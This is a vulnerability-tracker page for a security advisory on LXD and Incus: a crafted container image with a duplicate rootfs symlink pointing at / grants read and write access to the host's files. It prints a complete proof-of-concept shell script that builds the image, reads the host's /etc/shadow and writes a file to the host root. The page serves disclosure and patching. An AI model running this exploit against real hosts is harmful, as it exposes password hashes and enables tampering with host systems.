- Exploited
- No known exploitation
- Fix
- Fixed in 0.0.0-20260630083100-c5184be310b1
- Who is exposed
- Not reported
Do first: Upgrade to a fixed version: 0.0.0-20260630083100-c5184be310b1.
- Last modified
- A 0-100 score for how much a CVE matters across the industry: exploitation, exposure, how widely the software is used, severity and whether a fix exists.What do these mean? →
- 19/100 · provisional
- The rating the maker of the software gives it. Shown when it differs from the CVSS level.What do these mean? →
- Critical (ghsa)
- Whether working attack code is public (Exploit-DB, Metasploit, Nuclei or GitHub). Public code makes attacks easier.What do these mean? →
- None on Exploit-DB, Metasploit or GitHub
Summary
LXD can be made to give an attacker arbitrary read and write access to files on the host through a specially crafted container image that uses a symlink to point at the host's root filesystem. This could possibly lead to arbitrary command execution on the host.
Written by anthropic/claude-haiku-5.5 from the sources below. Verify against them.
Read the original description
Reported from https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv
Summary
A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.
Details
Incus validates an image as soon as it sees a normal metadata.yaml and a rootfs/ entry, but full extraction can later process a duplicate top-level rootfs symlink. Later, the stopped-container file API opens d.RootfsPath() and passes that file descriptor to forkfile, which chroots to it.
metadata.yaml
rootfs/
rootfs -> /In practice, this allows a malicious actor to access the host's filesystem with root privileges.
PoC
Below, we map the container's rootfs to / on the host, but it can be mapped anywhere. We then retrieve the host's /etc/shadow file and create a file in /.
#!/bin/sh
set -eu
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
mkdir -p "${tmpdir}/img/rootfs"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
description: PoC rootfs symlink host afrw
__EOF__
cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar
# inject rootfs symlink
rmdir rootfs
ln -s / rootfs
tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs
incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink
incus init afrw-rootfs-symlink afrw-rootfs-symlink
# read
incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow"
cat "${tmpdir}/shadow"
# write
printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink"
incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/Impact
Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.
cve.now Index
- Exploitation?/40Unknown. No CISA SSVC exploitation rating yet
- Exposure?/25Unknown. No advisory context yet
- Reach10/20Affects Go packages
- Severity9/10Rated critical by ghsa
- No patch0/5No signal
What would change the score
- Would score about 74 if added to CISA KEV
- Would score about 69 if CISA's SSVC rates exploitation active
- Would score about 41 if advisories confirm default setups are exposed
What to do
Upgrade to a fixed version: 0.0.0-20260630083100-c5184be310b1.
Timeline
- Advisory published
- Record last updated
- First seen by cve.now
Affected versions
- github.com/canonical/lxdGo
fixed in 0.0.0-20260630083100-c5184be310b1
Evidence 14
- Advisory
- Advisory
- Advisory
- Repository
- Repository
Show all 14 sourcesShow fewer sources
- Repository
- Repository
- Repository
- Repository
- Repository
- Repository
- Repository
- Repository
- Repository
Corrections
None so far.
Something wrong on this page? Report an error. Every fix is listed here.
Questions about GHSA-VGHH-5RFX-XHQ8
Is GHSA-VGHH-5RFX-XHQ8 being exploited?
It is not in CISA's Known Exploited Vulnerabilities catalog, and CISA's SSVC assessment does not mark exploitation as active. That does not mean it has not been attacked: vendors and researchers can report attacks before CISA lists them. No public exploit code is tracked.Source: cve.now feed data
Which versions are affected by GHSA-VGHH-5RFX-XHQ8?
github.com/canonical/lxd (Go): before 0.0.0-20260630083100-c5184be310b1.Source: cve.now feed data
How do I fix GHSA-VGHH-5RFX-XHQ8?
Upgrade to a fixed version: 0.0.0-20260630083100-c5184be310b1.Source: cve.now feed data